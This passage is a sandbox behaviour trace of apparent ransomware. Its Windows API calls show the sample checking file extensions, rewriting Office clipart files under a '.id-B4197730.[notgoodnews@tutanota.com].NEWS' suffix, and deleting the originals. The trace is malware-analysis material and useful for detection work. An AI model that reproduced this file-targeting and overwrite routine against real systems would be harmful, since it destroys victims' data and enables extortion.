[0086.497] lstrlenW (lpString=".pdf") returned 4 [0086.497] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.497] lstrlenW (lpString=".xls") returned 4 [0086.497] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.497] lstrlenW (lpString=".xlsx") returned 5 [0086.497] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.497] lstrlenW (lpString=".ppt") returned 4 [0086.497] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0086.497] lstrlenW (lpString=".zip") returned 4 [0086.497] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.497] lstrlenW (lpString=".rar") returned 4 [0086.497] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.497] lstrlenW (lpString=".bz2") returned 4 [0086.497] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.497] lstrlenW (lpString=".7z") returned 3 [0086.497] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0086.497] lstrlenW (lpString=".dbf") returned 4 [0086.497] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0086.497] lstrlenW (lpString=".1cd") returned 4 [0086.497] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0086.497] lstrlenW (lpString=".jpg") returned 4 [0086.497] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0086.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0086.498] lstrlenW (lpString=".doc") returned 4 [0086.498] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.498] lstrlenW (lpString=".docx") returned 5 [0086.498] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.498] lstrlenW (lpString=".pdf") returned 4 [0086.498] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.498] lstrlenW (lpString=".xls") returned 4 [0086.498] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.498] lstrlenW (lpString=".xlsx") returned 5 [0086.498] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.498] lstrlenW (lpString=".ppt") returned 4 [0086.498] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0086.498] lstrlenW (lpString=".zip") returned 4 [0086.498] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.498] lstrlenW (lpString=".rar") returned 4 [0086.498] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.498] lstrlenW (lpString=".bz2") returned 4 [0086.498] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.498] lstrlenW (lpString=".7z") returned 3 [0086.498] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0086.498] lstrlenW (lpString=".dbf") returned 4 [0086.498] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0086.498] lstrlenW (lpString=".1cd") returned 4 [0086.498] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0086.498] lstrlenW (lpString=".jpg") returned 4 [0086.498] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.499] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0086.499] lstrlenW (lpString="FD00586_.WMF") returned 12 [0086.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0086.500] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=752) returned 1 [0086.500] CloseHandle (hObject=0x378) returned 1 [0086.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf")) returned 0x220 [0086.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0086.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0086.500] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.500] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0086.500] GetLastError () returned 0x0 [0086.500] ReadFile (in: hFile=0x378, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x2f0, lpOverlapped=0x0) returned 1 [0086.502] WriteFile (in: hFile=0x39c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x300, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x300, lpOverlapped=0x0) returned 1 [0086.503] ReadFile (in: hFile=0x378, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0086.503] WriteFile (in: hFile=0x39c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0086.503] SetEndOfFile (hFile=0x39c) returned 1 [0086.503] CloseHandle (hObject=0x39c) returned 1 [0086.503] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.503] SetEndOfFile (hFile=0x378) returned 1 [0086.504] CloseHandle (hObject=0x378) returned 1 [0086.504] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0086.504] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf")) returned 1 [0086.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0086.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0086.504] lstrlenW (lpString=".doc") returned 4 [0086.504] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.504] lstrlenW (lpString=".docx") returned 5 [0086.504] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.504] lstrlenW (lpString=".pdf") returned 4 [0086.504] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.505] lstrlenW (lpString=".xls") returned 4 [0086.505] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.505] lstrlenW (lpString=".xlsx") returned 5 [0086.505] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.505] lstrlenW (lpString=".ppt") returned 4 [0086.505] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0086.505] lstrlenW (lpString=".zip") returned 4 [0086.505] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.505] lstrlenW (lpString=".rar") returned 4 [0086.505] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.505] lstrlenW (lpString=".bz2") returned 4 [0086.505] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.505] lstrlenW (lpString=".7z") returned 3 [0086.505] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0086.505] lstrlenW (lpString=".dbf") returned 4 [0086.505] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0086.505] lstrlenW (lpString=".1cd") returned 4 [0086.505] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0086.506] lstrlenW (lpString=".jpg") returned 4 [0086.506] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0086.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0086.506] lstrlenW (lpString=".doc") returned 4 [0086.506] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.506] lstrlenW (lpString=".docx") returned 5 [0086.506] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.506] lstrlenW (lpString=".pdf") returned 4 [0086.506] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.506] lstrlenW (lpString=".xls") returned 4 [0086.506] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.506] lstrlenW (lpString=".xlsx") returned 5 [0086.506] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.506] lstrlenW (lpString=".ppt") returned 4 [0086.506] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0086.506] lstrlenW (lpString=".zip") returned 4 [0086.506] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.506] lstrlenW (lpString=".rar") returned 4 [0086.506] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.506] lstrlenW (lpString=".bz2") returned 4 [0086.506] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.506] lstrlenW (lpString=".7z") returned 3 [0086.506] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0086.506] lstrlenW (lpString=".dbf") returned 4 [0086.506] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0086.506] lstrlenW (lpString=".1cd") returned 4 [0086.506] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0086.506] lstrlenW (lpString=".jpg") returned 4 [0086.506] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.507] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0086.507] lstrlenW (lpString="FD00775_.WMF") returned 12 [0086.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0086.507] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=11152) returned 1 [0086.507] CloseHandle (hObject=0x378) returned 1 [0086.507] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf")) returned 0x220 [0086.507] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0086.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0086.507] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.507] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0086.508] GetLastError () returned 0x0 [0086.508] ReadFile (in: hFile=0x378, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x2b90, lpOverlapped=0x0) returned 1 [0086.509] WriteFile (in: hFile=0x39c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x2ba0, lpOverlapped=0x0) returned 1 [0086.510] ReadFile (in: hFile=0x378, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0086.510] WriteFile (in: hFile=0x39c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0086.510] SetEndOfFile (hFile=0x39c) returned 1 [0086.511] CloseHandle (hObject=0x39c) returned 1 [0086.511] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.511] SetEndOfFile (hFile=0x378) returned 1 [0086.512] CloseHandle (hObject=0x378) returned 1 [0086.512] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0086.512] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf")) returned 1 [0086.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0086.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0086.512] lstrlenW (lpString=".doc") returned 4 [0086.512] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.512] lstrlenW (lpString=".docx") returned 5 [0086.512] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.512] lstrlenW (lpString=".pdf") returned 4 [0086.512] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.512] lstrlenW (lpString=".xls") returned 4 [0086.512] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.512] lstrlenW (lpString=".xlsx") returned 5 [0086.512] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.512] lstrlenW (lpString=".ppt") returned 4 [0086.512] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0086.512] lstrlenW (lpString=".zip") returned 4 [0086.513] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.513] lstrlenW (lpString=".rar") returned 4 [0086.513] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.513] lstrlenW (lpString=".bz2") returned 4 [0086.513] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.513] lstrlenW (lpString=".7z") returned 3 [0086.513] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0086.513] lstrlenW (lpString=".dbf") returned 4 [0086.513] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0086.513] lstrlenW (lpString=".1cd") returned 4 [0086.513] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0086.513] lstrlenW (lpString=".jpg") returned 4 [0086.513] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0086.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0086.513] lstrlenW (lpString=".doc") returned 4 [0086.513] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.513] lstrlenW (lpString=".docx") returned 5 [0086.513] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.513] lstrlenW (lpString=".pdf") returned 4 [0086.513] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.513] lstrlenW (lpString=".xls") returned 4 [0086.513] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.513] lstrlenW (lpString=".xlsx") returned 5 [0086.513] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.513] lstrlenW (lpString=".ppt") returned 4 [0086.513] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0086.513] lstrlenW (lpString=".zip") returned 4 [0086.513] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.513] lstrlenW (lpString=".rar") returned 4 [0086.513] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.513] lstrlenW (lpString=".bz2") returned 4 [0086.514] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.514] lstrlenW (lpString=".7z") returned 3 [0086.514] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0086.514] lstrlenW (lpString=".dbf") returned 4 [0086.514] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0086.514] lstrlenW (lpString=".1cd") returned 4 [0086.514] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0086.514] lstrlenW (lpString=".jpg") returned 4 [0086.514] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.514] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0086.514] lstrlenW (lpString="FD00779_.WMF") returned 12 [0086.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0086.514] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=9010) returned 1 [0086.514] CloseHandle (hObject=0x378) returned 1 [0086.514] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf")) returned 0x220 [0086.514] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0086.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0086.515] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.515] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0086.515] GetLastError () returned 0x0 [0086.515] ReadFile (in: hFile=0x378, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x2332, lpOverlapped=0x0) returned 1 [0086.516] WriteFile (in: hFile=0x39c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x2340, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x2340, lpOverlapped=0x0) returned 1 [0086.519] ReadFile (in: hFile=0x378, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0086.519] WriteFile (in: hFile=0x39c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0086.519] SetEndOfFile (hFile=0x39c) returned 1 [0086.519] CloseHandle (hObject=0x39c) returned 1 [0086.520] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.520] SetEndOfFile (hFile=0x378) returned 1 [0086.880] CloseHandle (hObject=0x378) returned 1 [0086.880] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0086.881] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf")) returned 1 [0086.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0086.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0086.881] lstrlenW (lpString=".doc") returned 4 [0086.881] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.881] lstrlenW (lpString=".docx") returned 5 [0086.881] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.881] lstrlenW (lpString=".pdf") returned 4 [0086.881] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.881] lstrlenW (lpString=".xls") returned 4 [0086.881] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.881] lstrlenW (lpString=".xlsx") returned 5 [0086.881] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.881] lstrlenW (lpString=".ppt") returned 